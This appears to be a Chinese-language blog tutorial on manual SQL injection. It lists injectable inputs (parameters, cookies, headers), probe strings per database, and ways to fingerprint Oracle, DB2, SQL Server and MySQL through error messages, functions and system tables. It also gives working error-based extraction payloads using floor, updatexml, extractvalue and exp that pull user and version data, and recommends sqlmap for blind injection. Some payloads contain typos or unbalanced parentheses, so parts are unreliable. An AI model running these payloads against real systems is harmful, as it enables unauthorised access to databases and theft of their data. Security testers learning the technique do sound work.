SQL注入思路詳解

一、SQL注入可以分爲三個步驟

1.識別Web應用與數據庫交互的可能輸入(識別潛在注入點)

2.SQL注入語句測試

3.根據服務器返回判定注入語句是否影響了SQL執行結果以判斷是否存在SQL注入

 

 

2.識別Web應用與數據庫交互的可能輸入點

GET請求參數

POST請求參數

Cookie

X-Forword-For

User-Agent

Refer

Host

 

 

3.SQL語句測試

由於現在許多web站點都受到WAF防護或者應用開發者自帶的代碼層Filter,在判斷是否存在Sql注入時,

測試payload越簡單越好

 

數字型

數字型

字符型

字符型

 

測試語句

預期結果

測試語句

預期結果

Oracle

'

出現異常

'

出現異常

 

+-&/

運算被執行

'||'

字符串拼接,返回與原來相同

DB2

'

出現異常

'

出現異常

 

+-&/

運算被執行

'||'

字符串拼接,返回與原來相同

SQL Server

+-&/

運算被執行

'

出現異常

 

'

出現異常

'+'

字符串拼接,返回與原來相同

MySQL

+-&/

運算被執行

'

出現異常

 

'

出現異常

'空格'

字符串拼接,返回與原來相同

 

 

 

4.確認SQL注入

確認數據庫類型

基於應用開發語言判斷

基於報錯信息判斷

基於特有函數/語句判斷

基於特有數據表判斷

 

 

基於應用開發語言判斷

ORACLE:

JAVA

DB2:

JAVA

SQL Server:

C#、ASP、.NET

MYSQL :

PHP、JAVA

 

 

基於報錯信息判斷數據庫類型

 

Oracle:

###Error querying datgbase.Cause:java.sql.SQLsyntaxErrorException:ORA-01756:quoted string not properly terminated

 

SQL Server:

###Microsoft OLE DB Provider for SQLServer 錯誤‘80040e14"

 

MYSQL:

You have an error in your SQL syntax;check the manual that corresponds to your MySQL server verslor for the right syntax to use near 1"LIMIt 0,I at line 1

 

基於特有函數/語句判斷數據庫類型

 

用戶

字符連接

數據庫名

版本

取位函數

Oracle

user

||

Select global_name from global name

Select version from v$instance

substr

 

DB2

user

||

Select current server from sysibm.sysdummy1

--

Substr()

 

SQL Server

User

User_name()

+

db_name()

@@version

Substring()

 

MySQL

User()

space

database()

Version()

@@version

Substr()

substring

 

 

 

基於特有的數據表判斷

 

Oracle

And (select count(*) from sys.user_tables)>0

DB2

And (select count(*) from sysibm.systables)>0

SQL server

And (select count(*) from sysobjects)>0

Mysql

And (select count(*) from information_schema.tables)>0

 

 

 

 

 

5.確認SQL注入方式

SQL注入按照注入方式分類可分爲兩類

顯示注入

Union query

#聯合查詢注入,通過union聯合查詢獲取查詢結果

Error based

#報錯注入,通過報錯信息獲取查詢結果

盲注

Boolean based blind

#布爾盲注,通過應用返回不同的值判斷田間真假

Time based blind

#時間盲注,通過不同的時間延遲推斷條件真假

 

優先級:union query ≥ error based ≥ Boolean based blind ≥ time based blind

 

 

 

 

union注入:比較簡單,就不贅述,如有需求可至主頁查看博客

 

報錯注入:

前提:應用可以輸出數據庫報錯信息

 

floor()

And (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

Upadtexml()

And 1=(updatexml(1.concat(0x3a,(select user()),1))

 

Extractvalue()

And extractvalue(1,concat(0x5c,(select user())))

 

Exp()

And exp (~select * from(select user())a))

 

 

布爾盲注

時間延遲注入

這倆用sqlmap吧,手工會累死人的

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章